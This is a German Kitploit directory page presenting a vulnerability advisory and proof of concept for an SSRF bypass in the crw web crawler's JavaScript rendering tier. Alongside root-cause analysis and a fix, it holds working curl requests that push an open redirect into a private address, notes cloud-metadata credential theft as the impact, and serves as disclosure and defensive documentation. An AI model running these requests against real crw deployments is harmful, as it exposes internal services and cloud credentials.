Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
crw-PoC — PoC — SSRF über JS-Rendering-Tier-Bypass des URL-Sicherheitsfilters in crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5). | Kitploit
Tools/GitHubGitHub/squeeze440/crw-poc
SchwachstellenanalyseExploitationWebsicherheitPenetrationstests
GitHubsqueeze440/crw-poc

crw-PoC

PoC — SSRF über JS-Rendering-Tier-Bypass des URL-Sicherheitsfilters in crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).

Repository anzeigen
vor 7 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

crw: Sicherheitshinweis

CVE-Status: beantragt, Zuweisung ausstehend. Dieser Fund wird als GHSA-5jp3-339h-vxqw veröffentlicht. Bei CVE-Zuweisung wird dieses Repository in CVE-YYYY-NNNNN-crw-PoC umbenannt und dieses Banner durch den CVE-Link ersetzt.

ForscherDostxodjayev Abdullox (@squeeze440)
AdvisoryGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (High)
SchwachstelleCWE-918

Zusammenfassung

In crw-server wird die SSRF-Allow-/Deny-Liste (crw_core::url_safety) nur einmal durchgesetzt, gegen die vom Aufrufer übergebene url, bevor die Anfrage an einen Renderer weitergeleitet wird; die CDP-gesteuerten JS-Rendering-Stufen (LightPanda — der Standard-JS-Renderer — und Chrome) steuern die Zielseite anschließend über Page.navigate an und folgen jeder weiteren Weiterleitung, JS-ausgelösten Navigation und In-Page-XHR/fetch vollständig innerhalb des eigenen Netzwerk-Stacks des Browsers, ohne zu irgendeinem Zeitpunkt einen weiteren Aufruf von url_safety, wodurch ein authentifizierter (oder, bei einer Standard-Deployment ohne Key, unauthentifizierter) Aufrufer, der renderJs:true setzt, den Crawler über eine einzige externe offene Weiterleitung in den RFC1918-/Loopback-/Link-Local-Adressraum umleiten und die Antwort des internen Dienstes im API-Antwortkörper zurücklesen kann.

Produkt

fastCRW / crw — crw-server (REST-API, ebenso identisch erreichbar über die prozessinterne crw-mcp-MCP-Tool-Schicht, die denselben Codepfad crw_server::routes::mcp::call_tool aufruft).

Getestete Version

Commit 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, Tip von main zum Testzeitpunkt), gebaut und ausgeführt über das projekteigene docker-compose.yml --profile heavy.

Geschätzter CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)

  • PR:N: Das mitgelieferte Self-Host-Standardsetup (config.docker.toml) hat keinen [auth]/api_keys-Abschnitt, was dem bereits in GHSA-qq8c-fch4-cxq7 dokumentierten Standard „open by design" entspricht. Eine Deployment, die doch API-Keys konfiguriert, stuft dies auf PR:L herab (jeder einzelne authentifizierte Tenant kann die gemeinsame Engine weiterhin in das interne Netzwerk umleiten, in dem sie läuft) — der Bug wird durch das Hinzufügen von Keys nicht entschärft, sondern nur neu eingegrenzt.
  • I:N/A:N: Der PoC demonstriert das Zurücklesen einer internen HTTP-Antwort (Vertraulichkeit). Es wurde keine schreibende/zustandsändernde Aktion gegen ein internes Ziel ausgeführt oder behauptet.
  • S:U: Die Offenlegung wird vollständig über den eigenen API-Antwortkanal der verwundbaren Komponente vermittelt.

Details

Ursache: Der CDP-/Browser-Renderer-Pfad ruft crw_core::url_safety nach der einen Prüfung auf der Routenebene nie wieder auf.

  • crates/crw-server/src/routes/scrape.rs:29-34 (identisch in crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — die einzige SSRF-Prüfung im gesamten Request-Lebenszyklus für eine JS-gerenderte Anfrage: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) läuft einmal gegen die wörtliche url des Aufrufers, bevor der Renderer überhaupt aufgerufen wird.
  • crates/crw-renderer/src/cdp.rs:2621-2631 — die work-Future von fetch_inner sendet Page.navigate mit der rohen url direkt an den CDP-Endpunkt (gemeinsam genutzt von den Stufen chrome und lightpanda — beide sprechen CDP über dieselbe Funktion). Chrome/LightPanda führt dann seine eigene DNS-Auflösung durch und folgt jeder serverseitigen Weiterleitung, <meta http-equiv="refresh"> oder JS-location-Änderung intern. Es existiert nirgendwo in cdp.rs ein Aufruf von url_safety.
  • crates/crw-renderer/src/blocklist.rs:1-124 — die einzige pro-Request-Fetch.requestPaused-Interception-Logik, die während eines CDP-Renderings läuft (verdrahtet in cdp.rs etwa in den Zeilen 930-1002). Sie filtert Ad-/Tracker-Hosts und blockierte Ressourcentypen (Bilder, Fonts usw.) nur aus Bandbreiten-/Rauschgründen — sie prüft nie das Ziel einer Anfrage gegen private/Loopback-/Link-Local-Bereiche.
  • crates/crw-crawl/src/single.rs:559-569 — die einzige Stelle, an der die final_url nach der Navigation überhaupt untersucht wird. redirect_is_material() entscheidet nur, ob ein kosmetischer String "redirected_to: <url>" an data.warnings angehängt wird (um „du hast die falsche Seite bekommen" zu markieren, laut Kommentar mit Verweis auf northernair.ca) — es ruft nie url_safety::validate_safe_url* auf und lässt die Anfrage nie fehlschlagen.
  • Kontrast: crates/crw-renderer/src/http_only.rs:291 — die Plain-HTTP-Stufe (ohne JS) umhüllt ihren reqwest::Client korrekt mit crw_core::url_safety::safe_redirect_policy(), was jeden Weiterleitungshop neu validiert (mit DNS-Auflösung). Genau dieser Schutz fehlt den CDP-Stufen. Dynamisch bestätigt: Dieselbe PoC-Anfrage mit renderJs:false wird korrekt abgelehnt ("error following redirect", siehe Baseline-Screenshot).

Proof of Concept

Dynamisch bestätigt gegen den projekteigenen docker-compose.yml --profile heavy-Stack (crw + lightpanda + chrome, gebaut aus dem getesteten Commit).

  1. Ein „interner Dienst"-Stellvertreter wurde im selben Docker-Bridge-Netzwerk wie crw/chrome/lightpanda aufgesetzt (docker network: source_default), unter der privaten Adresse 172.19.0.6 — ein einfacher nginx-Container, der eine Seite mit realistisch intern wirkendem Inhalt ausliefert (Titel „Internal Ops Console", ein wert in Form eines Session-Tokens).
  2. Baseline — bestätigen, dass der Filter normal funktioniert:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (Screenshot: evidence/ssrf_baseline_blocked.png)
  3. Umgehung — dieselbe Weiterleitung, JS-Rendering-Stufe angefordert:
    root@kitploit:~
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    Ergebnis: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — der Inhalt des internen Servers wird an den Aufrufer zurückgegeben; die eigene redirected_to-Warnung des Tools zeigt, dass es weiß, dass es der Anfrage zur blockierten Adresse gefolgt ist, und den Inhalt trotzdem zurückgibt. (Screenshot: evidence/ssrf_chrome_tier_bypass.png)
  4. Bestätigt, dass die Umgehung auch bei der Standard-Fallback-Kette ohne explizite Renderer-Pin ausgelöst wird ("renderJs":true allein — die übliche Art, wie ein Aufrufer JS-Rendering anfordert): Die Leiter wählte lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") und gab denselben internen Inhalt zurück, was beweist, dass beide CDP-Stufen (nicht nur chrome) die Lücke teilen.

https://httpbin.org/redirect-to steht stellvertretend für „jede extern erreichbare URL, die 302 zurückgibt"; ein echter Angreifer würde dies auf seiner eigenen Domain hosten. 172.19.0.6 steht stellvertretend für jede Adresse in den Bereichen, die url_safety blockieren soll (RFC1918, Loopback, Link-Local/169.254.169.254 Cloud-Metadata, .internal) — die Umgehung geschieht, bevor irgendeine Bereichsprüfung läuft (der CDP-Pfad ruft url_safety überhaupt nie auf), ist also nicht spezifisch für diesen einen blockierten Bereich. Ein Live-Cloud-Metadata-Endpunkt war in diesem lokalen Lab nicht verfügbar, daher wurde dieses spezifische Ziel nicht direkt ausgeführt; es ist eine direkte, code-hergeleitete Extrapolation, keine ungetestete Behauptung.

Auswirkung

Jeder Aufrufer, der /v1/scrape, /v2/scrape, /v1/crawl, /v1/map, /v1/extract, deren Batch-/v2-Äquivalente oder die entsprechenden MCP-Tools erreichen kann — mit renderJs:true — kann die Ziel-crw-Deployment als offenen Proxy ins interne Netzwerk nutzen: Antworten von Loopback-Diensten des Betreibers, RFC1918-adressierten internen Diensten (Datenbanken, Admin-Panels, interne APIs) und — bei jeder cloud-gehosteten Deployment — dem Cloud-Metadata-Endpunkt der Instanz (169.254.169.254) lesen, wodurch potenziell IAM-/Instanz-Anmeldedaten erlangt werden können. Beim mitgelieferten Self-Host-Standardsetup (keine API-Keys konfiguriert) erfordert dies überhaupt keine Authentifizierung.

Schwachstellen

  • CWE-918: Server-Side Request Forgery (SSRF)
  • CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Behebung

Die bereits in die CDP-Stufen verdrahtete Fetch.requestPaused-Interception-Pumpe (crates/crw-renderer/src/cdp.rs, angetrieben durch Blocklist in blocklist.rs) ist der natürliche Engpass: Erweitern Sie sie (oder fügen Sie eine von derselben Pumpe aufgerufene Parallelprüfung hinzu, für beide Backends chrome und lightpanda), um crw_core::url_safety::validate_safe_url gegen die URL jeder abgefangenen Anfrage aufzurufen — abdeckend die initiale Navigation, jeden Weiterleitungshop, jede JS-gesteuerte Navigation und jeden Same-Page-XHR/fetch/iframe-Load — und Fetch.failRequest für alles, was zu einem blockierten Host auflöst, passend zu dem, was safe_redirect_policy() bereits für die http_only-Stufe tut. Beachten Sie, dass dies bedeutet, dass Fetch.enable/Interception nicht länger bedingt aus bleiben kann, wenn der SSRF-Schutz von seinem Laufen abhängt. Als Defense in Depth verwandeln Sie außerdem die bestehende final_url-Prüfung nach der Navigation in crates/crw-crawl/src/single.rs:559-569 von einem kosmetischen warnings-Eintrag in einen harten Fehler über url_safety::validate_safe_url_resolved, um abzufangen, was durch die Interception schlüpft (z. B. eine allererste Antwort, die mit dem Setup von Fetch.enable um die Wette läuft).

Danksagung

Dostxodjayev Abdullox

Meldekanal

.github/SECURITY.md (gerendert unter https://github.com/us/crw/security): GitHub Private Vulnerability Reporting ist der bevorzugte Kanal („open a report from the Security tab of this repository"), mit [email protected] als E-Mail-Fallback. Bestätigt tatsächlich live und offen für dieses Repo: gh api repos/us/crw/private-vulnerability-reporting --jq .enabled → true, und ein live „Report a vulnerability"-Button wurde auf https://github.com/us/crw/security beobachtet (verlinkt auf https://github.com/us/crw/security/advisories/new). Die Scope-Erklärung auf dieser Seite umfasst ausdrücklich „The crw-server binary and all workspace crates in this repository" und „The MCP server (crw-mcp)"; ausgeschlossen sind „Third-party headless browsers (Chromium, Lightpanda) invoked by the renderer" — dieser Fund betrifft crws eigene fehlende Validierung rund um den CDP-Navigationsaufruf, nicht einen Bug in Chromium/Lightpanda selbst, und liegt daher im Scope.

Tool herunterladen